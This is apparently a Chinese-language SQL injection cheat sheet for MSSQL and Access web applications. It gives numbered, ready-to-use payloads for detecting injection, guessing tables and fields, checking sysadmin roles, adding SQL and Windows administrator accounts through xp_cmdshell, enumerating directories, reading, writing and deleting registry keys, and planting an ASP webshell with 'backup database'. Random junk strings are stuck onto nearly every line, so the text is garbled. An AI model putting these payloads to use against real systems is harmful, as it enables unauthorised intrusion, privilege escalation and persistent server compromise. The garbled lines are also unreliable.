1.判断是否有注入;and 1=1 ;and 1=2 =JK@z
2.初步判断是否是mssql ;and user>0 9=8iy
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3.注入参数是字符'and [查询条件] and ''=' j7$e28|_n
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ZojIR\F^
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5.判断数据库系统 _VRpI)mu
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;and (select count(*) from msysobjects)>0 access jjw`Dto&
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 K1"*.\?F
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 bMg(B-uF7
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 |ef7bKU8
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9.(1)猜字段的ascii值(access) [!HEQ8 2g
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(2)猜字段的ascii值(mssql) SPX$U5&
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10.测试权限结构(mssql) 4B =7:r
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- %GjM(;Tk
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- =9'RM>
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- :~e>Ob[,"
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- I5 o)_nc
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- X^}I-M%{m
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @r/#-?W
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;and 1=(select IS_MEMBER('db_owner'));-- bf ]f=;.+
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11.添加mssql和系统的帐户 Zd^rNHhA
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;exec master.dbo.sp_addlogin username;-- 3}TaF~
;exec master.dbo.sp_password null,username,password;-- >Ea8G,
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- :~b3^xhc^
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;exec master.dbo.xp_cmdshell 'net user username password Bn=by{i
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- tvkb~
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- YIn',]p:
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12.(1)遍历目录 C]O(T2l{l
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Hu\B"fdS
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- _(_a*ml
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 **w!CaqvY
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 aXQnZ+2e^R
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13.mssql中的存储过程 3B1XZm
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xp_regenumvalues 注册表根键, 子键 =}lh_
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 5m*iE*+
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xp_regread 根键,子键,键值名 <Y*+|T+&d
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 wg7V-+@i
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xp_regwrite 根键,子键, 值名, 值类型, 值 @GBxL*e
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 O}+.U<V
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xp_regdeletevalue 根键,子键,值名 T_i:}ul
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 >sfRI]OG
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 S/}2; \Xm
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14.mssql的backup创建webshell E[2m&3&
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use model M}`B{]lLz
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create table cmd(str image); ~T ]m>A!
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insert into cmd(str) values (''); VeGL)
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backup database model to disk='c:\l.asp'; y[`l3;u:'
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15.mssql内置函数 52SaKA[
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;and (select @@version)>0 获得Windows的版本号 a;rdQ>
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa
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;and (select user_name())>0 爆当前系统的连接用户 QP@%(]f G
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;and (select db_name())>0 得到当前连接的数据库 5\N(PL
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16.简洁的webshell J{l1nHQZSu
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create table cmd(str image); *v;!-F&8>
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insert into cmd(str) values (''); k'gh
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backup database model to disk='g:\wwwtest\l.asp';